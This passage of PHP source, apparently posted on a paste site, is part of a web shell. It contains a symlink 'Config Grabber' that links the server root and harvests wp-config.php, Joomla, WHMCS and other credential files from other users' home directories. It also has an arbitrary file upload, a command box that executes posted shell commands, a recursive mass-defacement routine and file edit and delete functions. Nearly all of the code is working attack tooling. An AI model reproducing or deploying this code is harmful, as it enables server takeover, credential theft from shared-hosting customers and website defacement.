  793. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  794. $g = fopen('lol/.htaccess','w');
  795. fwrite($g,$rr);
  796. $indishell = symlink("/","lol/root");
  797. $rt="<a href=lol/root target='_blank'><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
  798. echo "Please check link given below for / folder symlink <br><u>$rt</u>";
  799.  
  800. $dir=mkdir('CBM',0777);
  801. $r = " Options all \n DirectoryIndex jmbut.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  802. $f = fopen('INJECTION/.htaccess','w');
  803.  
  804. fwrite($f,$r);
  805. $consym="<a href=CBM/ target='_blank'><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
  806. echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=white size=2 face=\"comic sans ms\">$consym<br><br></font></u>";
  807.  
  808. $usr=explode("\n",$_POST['user']);
  809. $configuration=array("wp-config.php",
  810. "wordpress/wp-config.php",
  811. "web/wp-config.php",
  812. "wp/wp-config.php",
  813. "press/wp-config.php",
  814. "wordpress/beta/wp-config.php",
  815. "news/wp-config.php",
  816. "new/wp-config.php",
  817. "blogs/wp-config.php",
  818. "home/wp-config.php",
  819. "blog/wp-config.php",
  820. "protal/wp-config.php",
  821. "site/wp-config.php",
  822. "main/wp-config.php",
  823. "test/wp-config.php",
  824. "wp/beta/wp-config.php",
  825. "beta/wp-config.php",
  826. "joomla/configuration.php",
  827. "protal/configuration.php",
  828. "joo/configuration.php",
  829. "cms/configuration.php",
  830. "site/configuration.php",
  831. "main/configuration.php",
  832. "news/configuration.php",
  833. "new/configuration.php",
  834. "home/configuration.php",
  835. "configuration.php",
  836. "SSI.php",
  837. "forum/SSI.php",
  838. "forum/inc/config.php",
  839. "forum/includes/config.php",
  840. "upload/includes/config.php",
  841. "cc/includes/config.php",
  842. "vb/includes/config.php",
  843. "vb3/includes/config.php",
  844. "cpanel/configuration.php",
  845. "panel/configuration.php",
  846. "ubmitticket.php",
  847. "manage/configuration.php",
  848. "myshop/configuration.php",
  849. "beta/configuration.php",
  850. "includes/config.php",
  851. "lib/config.php",
  852. "conf_global.php",
  853. "inc/config.php",
  854. "incl/config.php",
  855. "include/db.php",
  856. "include/config.php",
  857. "includes/functions.php",
  858. "includes/dist-configure.php",
  859. "connect.php",
  860. "mk_conf.php",
  861. "config/koneksi.php",
  862. "system/sistem.php",
  863. "config.php",
  864. "Settings.php",
  865. "settings.php",
  866. "sites/default/settings.php",
  867. "smf/Settings.php",
  868. "forum/Settings.php",
  869. "forums/Settings.php",
  870. "host/configuration.php",
  871. "hosting/configuration.php",
  872. "hosts/configuration.php",
  873. "zencart/includes/dist-configure.php",
  874. "shop/includes/dist-configure.php",
  875. "whm/configuration.php",
  876. "whmc/configuration.php",
  877. "whmcs/configuration.php",
  878. "whmc/WHM/configuration.php",
  879. "whm/WHMCS/configuration.php",
  880. "whm/whmcs/configuration.php",
  881. "order/configuration.php",
  882. "support/configuration.php",
  883. "supports/configuration.php",
  884. "oscommerce/includes/configure.php",
  885. "oscommerces/includes/configure.php",
  886. "shopping/includes/configure.php",
  887. "sale/includes/configure.php",
  888. "config.inc.php",
  889. "amember/config.inc.php",
  890. "clients/configuration.php",
  891. "client/configuration.php",
  892. "clientes/configuration.php",
  893. "cliente/configuration.php",
  894. "clientsupport/configuration.php",
  895. "billing/configuration.php",
  896. "billings/configuration.php",
  897. "admin/conf.php",
  898. "admin/config.php");
  899. foreach($usr as $uss )
  900. {
  901. $us=trim($uss);
  902.  
  903. foreach($configuration as $c)
  904. {
  905. $rs="/home/".$us."/public_html/".$c;
  906. $r="CBM/".$us." .. ".$c;
  907. symlink($rs,$r);
  908.  
  909. }
  910.  
  911. }
  912.  
  913.  
  914. }
  915.  
  916. }
  917. elseif($_GET['do'] == 'tconf') {
  918. echo "<center>";
  919. echo "<ul>";
  920. echo "<li> <a href='?dir=$dir&do=entod'>Config Grabber</a> </li>";
  921. echo "</ul>";
  922. echo "</center>";
  923. }
  924. elseif($_GET['do'] == 'upload') {
  925. echo "<center>";
  926. if($_POST['upload']) {
  927. if($_POST['tipe_upload'] == 'biasa') {
  928. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  929. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  930. } else {
  931. $act = "<font color=red>failed to upload file</font>";
  932. }
  933. } else {
  934. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  935. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  936. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  937. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  938. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  939. } else {
  940. $act = "<font color=red>failed to upload file</font>";
  941. }
  942. } else {
  943. $act = "<font color=red>failed to upload file</font>";
  944. }
  945. }
  946. }
  947. echo "Upload File:
  948. <form method='post' enctype='multipart/form-data'>
  949. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  950. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  951. <input type='file' name='ix_file'>
  952. <input type='submit' value='upload' name='upload'>
  953. </form>";
  954. echo $act;
  955. echo "</center>";
  956. }
  957. elseif($_GET['do'] == 'cmd') {
  958. echo "<form method='post'>
  959. <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  960. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  961. </form>";
  962. if($_POST['do_cmd']) {
  963. echo "<pre>".exe($_POST['cmd'])."</pre>";
  964. }
  965. }
  966. elseif($_GET['do'] == 'mass_deface') {
  967. function sabun_massal($dir,$namafile,$isi_script) {
  968. if(is_writable($dir)) {
  969. $dira = scandir($dir);
  970. foreach($dira as $dirb) {
  971. $dirc = "$dir/$dirb";
  972. $lokasi = $dirc.'/'.$namafile;
  973. if($dirb === '.') {
  974. file_put_contents($lokasi, $isi_script);
  975. } elseif($dirb === '..') {
  976. file_put_contents($lokasi, $isi_script);
  977. } else {
  978. if(is_dir($dirc)) {
  979. if(is_writable($dirc)) {
  980. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  981. file_put_contents($lokasi, $isi_script);
  982. $idx = sabun_massal($dirc,$namafile,$isi_script);
  983. }
  984. }
  985. }
  986. }
  987. }
  988. }
  989. function sabun_biasa($dir,$namafile,$isi_script) {
  990. if(is_writable($dir)) {
  991. $dira = scandir($dir);
  992. foreach($dira as $dirb) {
  993. $dirc = "$dir/$dirb";
  994. $lokasi = $dirc.'/'.$namafile;
  995. if($dirb === '.') {
  996. file_put_contents($lokasi, $isi_script);
  997. } elseif($dirb === '..') {
  998. file_put_contents($lokasi, $isi_script);
  999. } else {
  1000. if(is_dir($dirc)) {
  1001. if(is_writable($dirc)) {
  1002. echo "<center><font color=red>DONE</font> -><font color=red>$dirb/$namafile</font></center>";
  1003. file_put_contents($lokasi, $isi_script);
  1004. }
  1005. }
  1006. }
  1007. }
  1008. }
  1009. }
  1010. function sabun_domen($dir,$namafile,$isi_script) {
  1011. if(is_writable($dir)) {
  1012. $dira = scandir($dir);
  1013. foreach($dira as $dirb) {
  1014. $dirc = "$dir/$dirb";
  1015. $lokasi = $dirc.'/'.$namafile;
  1016. if($dirb === '.') {
  1017. file_put_contents($lokasi, $isi_script);
  1018. } elseif($dirb === '..') {
  1019. file_put_contents($lokasi, $isi_script);
  1020. } else {
  1021. if(is_dir($dirc)) {
  1022. if(is_writable($dirc)) {
  1023. echo "<center><a href='http://$dirb/$namafile' target='_blank'><font color=red>http://$dirb/$namafile</font></a></center>";
  1024. file_put_contents($lokasi, $isi_script);
  1025. }
  1026. }
  1027. }
  1028. }
  1029. }
  1030. }
  1031. if($_POST['start']) {
  1032. if($_POST['tipe_sabun'] == 'mahal') {
  1033. echo "<div style='margin: 5px auto; padding: 5px'>";
  1034. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  1035. echo "</div>";
  1036. } elseif($_POST['tipe_sabun'] == 'murah') {
  1037. echo "<div style='margin: 5px auto; padding: 5px'>";
  1038. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  1039. echo "</div>";
  1040. }elseif($_POST['tipe_sabun'] == 'diskon') {
  1041. echo "<div style='margin: 5px auto; padding: 5px'>";
  1042. sabun_domen($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  1043. echo "</div>";
  1044. }
  1045. } else {
  1046. echo "<center>";
  1047. echo "<form method='post'>
  1048. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  1049. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<input type='radio' name='tipe_sabun' value='diskon'>domain<br>
  1050. <font style='text-decoration: underline;'>Folder:</font><br>
  1051. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  1052. <font style='text-decoration: underline;'>Filename:</font><br>
  1053. <input type='text' name='d_file' value='x04.php' style='width: 450px;' height='10'><br>
  1054. <font style='text-decoration: underline;'>Index File:</font><br>
  1055. <textarea name='script' style='width: 450px; height: 200px;'>Visited By MRAF04</textarea><br>
  1056. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  1057. </form></center>";
  1058. }
  1059. }
  1060. elseif($_GET['act'] == 'newfile') {
  1061. if($_POST['new_save_file']) {
  1062. $newfile = htmlspecialchars($_POST['newfile']);
  1063. $fopen = fopen($newfile, "a+");
  1064. if($fopen) {
  1065. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  1066. } else {
  1067. $act = "<font color=red>permission denied</font>";
  1068. }
  1069. }
  1070. echo $act;
  1071. echo "<form method='post'>
  1072. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  1073. <input type='submit' name='new_save_file' value='Submit'>
  1074. </form>";
  1075. } elseif($_GET['act'] == 'newfolder') {
  1076. if($_POST['new_save_folder']) {
  1077. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  1078. if(!mkdir($new_folder)) {
  1079. $act = "<font color=red>permission denied</font>";
  1080. } else {
  1081. $act = "<script>window.location='?dir=".$dir."';</script>";
  1082. }
  1083. }
  1084. echo $act;
  1085. echo "<form method='post'>
  1086. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  1087. <input type='submit' name='new_save_folder' value='Submit'>
  1088. </form>";
  1089. } elseif($_GET['act'] == 'rename_dir') {
  1090. if($_POST['dir_rename']) {
  1091. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  1092. if($dir_rename) {
  1093. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1094. } else {
  1095. $act = "<font color=red>permission denied</font>";
  1096. }
  1097. echo "".$act."<br>";
  1098. }
  1099. echo "<form method='post'>
  1100. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  1101. <input type='submit' name='dir_rename' value='rename'>
  1102. </form>";
  1103. } elseif($_GET['act'] == 'delete_dir') {
  1104. if(is_dir($dir)) {
  1105. if(is_writable($dir)) {
  1106. @rmdir($dir);
  1107. @exe("rm -rf $dir");
  1108. @exe("rmdir /s /q $dir");
  1109. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1110. } else {
  1111. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  1112. }
  1113. }
  1114. echo $act;
  1115. } elseif($_GET['act'] == 'view') {
  1116. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
  1117. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  1118. } elseif($_GET['act'] == 'edit') {
  1119. if($_POST['save']) {
  1120. $save = file_put_contents($_GET['file'], $_POST['src']);
  1121. if($save) {
  1122. $act = "<font color=lime>Saved!</font>";
  1123. } else {
  1124. $act = "<font color=red>permission denied</font>";
  1125. }
  1126. echo "".$act."<br>";
  1127. }
  1128. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
  1129. echo "<form method='post'>
  1130. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  1131. <input type='submit' value='Save' name='save' style='width: 500px;'>
  1132. </form>";
  1133. } elseif($_GET['act'] == 'rename') {
  1134. if($_POST['do_rename']) {
  1135. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  1136. if($rename) {
  1137. $act = "<script>window.location='?dir=".$dir."';</script>";
  1138. } else {
  1139. $act = "<font color=red>permission denied</font>";
  1140. }
  1141. echo "".$act."<br>";
  1142. }
  1143. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
  1144. echo "<form method='post'>
  1145. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  1146. <input type='submit' name='do_rename' value='rename'>
  1147. </form>";
  1148. } elseif($_GET['act'] == 'delete') {
  1149. $delete = unlink($_GET['file']);
  1150. if($delete) {
  1151. $act = "<script>window.location='?dir=".$dir."';</script>";
  1152. } else {
  1153. $act = "<font color=red>permission denied</font>";
  1154. }
  1155. echo $act;
  1156. } else {
  1157. if(is_dir($dir) === true) {
  1158. if(!is_readable($dir)) {
  1159. echo "<font color=red>can't open directory. ( not readable )</font>";
  1160. } else {
  1161. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  1162. <tr>
  1163. <th class="th_home"><center>Name</center></th>
  1164. <th class="th_home"><center>Type</center></th>
  1165. <th class="th_home"><center>Size</center></th>
  1166. <th class="th_home"><center>Last Modified</center></th>
  1167. <th class="th_home"><center>Owner/Group</center></th>
  1168. <th class="th_home"><center>Permission</center></th>
  1169. <th class="th_home"><center>Action</center></th>
  1170. </tr>';
  1171. $scandir = scandir($dir);
  1172. foreach($scandir as $dirx) {
  1173. $dtype = filetype("$dir/$dirx");
  1174. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  1175. if(function_exists('posix_getpwuid')) {
  1176. $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  1177. $downer = $downer['name'];
  1178. } else {
  1179. //$downer = $uid;
  1180. $downer = fileowner("$dir/$dirx");
  1181. }
  1182. if(function_exists('posix_getgrgid')) {
  1183. $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  1184. $dgrp = $dgrp['name'];
  1185. } else {
  1186. $dgrp = filegroup("$dir/$dirx");
  1187. }
  1188. if(!is_dir("$dir/$dirx")) continue;
  1189. if($dirx === '..') {
  1190. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  1191. } elseif($dirx === '.') {
  1192. $href = "<a href='?dir=$dir'>$dirx</a>";
  1193. } else {
  1194. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  1195. }
  1196. if($dirx === '.' || $dirx === '..') {
  1197. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  1198. } else {
  1199. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  1200. }
  1201. echo "<tr>";
  1202. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  1203. echo "<td class='td_home'><center>$dtype</center></td>";
  1204. echo "<td class='td_home'><center>-</center></th></td>";
  1205. echo "<td class='td_home'><center>$dtime</center></td>";
  1206. echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  1207. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  1208. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  1209. echo "</tr>";
  1210. }
  1211. }
  1212. } else {
  1213. echo "<font color=red>can't open directory.</font>";
  1214. }
  1215. foreach($scandir as $file) {
  1216. $ftype = filetype("$dir/$file");
  1217. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  1218. $size = filesize("$dir/$file")/1024;
  1219. $size = round($size,3);
  1220. if(function_exists('posix_getpwuid')) {
  1221. $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  1222. $fowner = $fowner['name'];
  1223. } else {
  1224. //$downer = $uid;
  1225. $fowner = fileowner("$dir/$file");
  1226. }
  1227. if(function_exists('posix_getgrgid')) {
  1228. $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  1229. $fgrp = $fgrp['name'];
  1230. } else {
  1231. $fgrp = filegroup("$dir/$file");
  1232. }
  1233. if($size > 1024) {
  1234. $size = round($size/1024,2). 'MB';
  1235. } else {
  1236. $size = $size. 'KB';
  1237. }
  1238. if(!is_file("$dir/$file")) continue;
  1239. echo "<tr>";
  1240. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  1241. echo "<td class='td_home'><center>$ftype</center></td>";
  1242. echo "<td class='td_home'><center>$size</center></td>";
  1243. echo "<td class='td_home'><center>$ftime</center></td>";
  1244. echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  1245. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  1246. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  1247.  
  1248. echo "</tr>";
  1249. }
  1250. echo "</table>";
  1251. if(!is_readable($dir)) {
  1252. //
  1253. } else {
  1254. echo"<br>";
  1255. }
  1256. }
  1257. ?>
  1258. </center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:right;">
  1259. </html>
Add Comment
Please, Sign In to add comment